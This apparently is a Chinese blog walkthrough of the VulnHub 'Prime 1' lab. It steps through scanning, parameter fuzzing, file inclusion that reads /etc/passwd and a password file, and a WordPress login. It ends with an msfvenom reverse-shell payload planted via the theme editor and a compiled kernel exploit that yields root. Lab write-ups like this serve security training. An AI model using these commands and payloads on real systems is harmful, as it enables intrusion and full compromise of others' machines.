vulnhub-prime1

devtools/2024/9/25 10:43:36/

目录

  • 靶场环境
  • 解题过程

靶场环境

项目ip
靶机(prime)未知
攻击机(kali)10.128.129.128

解题过程

打开靶机,我们只能看见一个登录界面,上面只有半截提示
请添加图片描述
我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,

nmap -sP 10.128.129.1/24

请添加图片描述
可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131

请添加图片描述
得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。

nmap -A -p- -v 10.128.129.131

在这里插入图片描述
可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。

http://10.128.129.131/

在这里插入图片描述
在这里插入图片描述

可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!

dirb http://10.128.129.131/

在这里插入图片描述
这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中

http://10.128.129.131/dev

在这里插入图片描述
可以看到,页面有了回显,是个提示内容

你好现在你处于 0 级阶段。在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。祝您黑客愉快。

大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。

dirb http://10.128.129.131/ -X .txt,.php,.zip

在这里插入图片描述
可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问

第一个:image.php
在这里插入图片描述

在这里插入图片描述

可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示

第二个:secret.txt
在这里插入图片描述
这里是一段文本内容

看来你有一些秘密。好的,我只是想帮你一些忙。在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web//看到location.txt,你会得到你的下一步//

这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,

知道了大概思路,我们就开干!

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ

在这里插入图片描述
可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ 

在这里插入图片描述

可以看到,这里我们没有扫到什么东西,看来是猜错了>_<
那么,再试试另外一个php文件吧

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
还是一样,过滤掉其他大多数字符

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可

http://10.128.129.131/index.php?file=location.txt

在这里插入图片描述
可以看到页面有回显了,又是一段提示,翻译过来就是:

做得更好好的,现在你真的在确切的参数上现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。

看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?

这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?
有,比如/etc/passwd,那么我们试着访问一下

http://10.128.129.131/image.php?secrettier360=/etc/passwd

ke

在这里插入图片描述

可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。
在这里插入图片描述
提示内容为:

find password.txt file in my directory:/home/saket翻译一下:
在/home/saket目录中找到password.txt

这段提示很眼熟啊,有没有感觉在哪里见过?
请添加图片描述
在这里,开始的页面,这原来是那半截提示

回到正题,它已经给了我们提示了,那么就试着去访问一下

http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt

在这里插入图片描述
果然是有了内容,翻译一下

最后,您得到了正确的参数follow_the_ippsec

这个字符的文件名是password,看来这是一个密码
那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。
关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看
请添加图片描述
可以看到这个办法不太行

还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。

http://10.128.129.131/wordpress/

在这里插入图片描述
可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录
在这里插入图片描述
进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?
这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图
在这里插入图片描述
那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的
当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破

wpscan --url http://10.128.129.131/wordpress/ --enumerate u

在这里插入图片描述
可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配

在这里插入图片描述
可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?

wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限

在这里插入图片描述

大致思路有了,接下来就是找一个地方,让我们可以编译并运行。

在这里插入图片描述

可以看到,我们在右侧选中secret.php时,页面有了提示

哦,你终于得到了一个可写的文件

这很明显就是提示了,我们直接在这里写即可
写什么内容呢?
这里我推荐一个MSF模块,它可以帮我们生成文件

msfconsole

在这里插入图片描述
只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可

//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php

在这里插入图片描述
可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可

cat shell.php

在这里插入图片描述
在这里插入图片描述

把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口

//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit

在这里插入图片描述

好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接
访问地址在哪呢?
这也是wordpress的特征,可以说是固定格式吧

http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php

在这里插入图片描述
访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限
我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息

sysinfo

在这里插入图片描述
这里获取到了操作系统的版本,是Ubuntu 16.04.2
这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。

searchsploit 16.04 Ubuntu

在这里插入图片描述
可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可

再次新开一个命令窗口

//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

在这里插入图片描述
复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译

gcc 45010.c -o 45010

在这里插入图片描述
好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可
我们切换到msf监听的窗口

upload /root/45010 /tmp/45010

在这里插入图片描述
此时我们看看这个文件上传上去后,有没有权限来运行

cd /tmp
ls

在这里插入图片描述
可以看到,没有运行的权限,那么我们只需要修改权限即可

//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010

此时就会发现自己是root用户了


http://www.ppmy.cn/devtools/116926.html

相关文章

C#和数据库高级:密封类和方法覆盖

文章目录 一、密封类关键字&#xff1a;sealed方法覆盖 面向对象三大特性总结 一、密封类 关键字&#xff1a;sealed 方法覆盖 面向对象三大特性总结

前端面试题(三)

11. Web API 面试题 如何使用 fetch 发起网络请求&#xff1f; fetch 是现代浏览器中用于发起网络请求的原生 API。它返回一个 Promise&#xff0c;默认情况下使用 GET 请求&#xff1a;fetch(https://api.example.com/data).then(response > response.json()).then(data &g…

Python基础知识——字典排序(不断补充)

目录 专栏导读代码1&#xff1a;value是多个字符拼接(含拼接符号)(升序)代码2&#xff1a;value是单个值(升序)代码3&#xff1a;按值排序(升序)代码4&#xff1a;按值排序(降序)总结 专栏导读 &#x1f338; 欢迎来到Python办公自动化专栏—Python处理办公问题&#xff0c;解放…

PHP探索校园新生态校园帮小程序系统小程序源码

探索校园新生态 —— 校园帮小程序系统&#xff0c;让生活更精彩&#xff01; &#x1f331;【开篇&#xff1a;走进未来校园&#xff0c;遇见新生态】&#x1f331; 你是否厌倦了传统校园的繁琐与单调&#xff1f;是否渴望在校园里也能享受到便捷、智能的生活体验&#xff1…

git配置ssh免密

为了配置 Git 通过 SSH 进行免密连接&#xff0c;你需要在本地机器上生成一个 SSH 密钥对&#xff0c;并将公钥添加到你的 GitLab 账户中。以下是详细的步骤&#xff1a; 1.检查现有的 SSH 密钥 首先&#xff0c;检查你是否已经有一个可用的 SSH 密钥。 ls -al ~/.ssh如果你…

虎先锋,你也喜欢线程控制嘛

讲讲线程控制捏 线程创建 这是创建线程调用的接口&#xff1a; #include <pthread.h> int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg); 这个接口上一篇文章已经介绍过了 线程等待 那么我们来看看…

解决 Sqoop 导入 Hive 时时间字段精度丢失问题

目录 一、背景介绍 二、问题描述 三、问题原因 四、解决方案 五、结论 一、背景介绍 介绍 Sqoop 数据导入过程&#xff0c;尤其是从 MySQL 导入 Hive 的场景。说明 MySQL 和 Hive 的数据类型差异&#xff0c;特别是 DATETIME 和 TIMESTAMP 类型的精度问题。 二、问题描述…

【IDEA】将光标移动到您上一次编辑的地方

将光标移动到您上一次编辑的地方 使用 ctl <-- 似乎是回到上一个文件而 ctl shift Backspace 是回到上一次的光标&#xff0c;似乎更有用一些。Backspace 是删除按键&#xff0c;要非常小心。 快捷键快速回退到上一次编辑的位置 在 IntelliJ IDEA 中&#xff0c;您可以…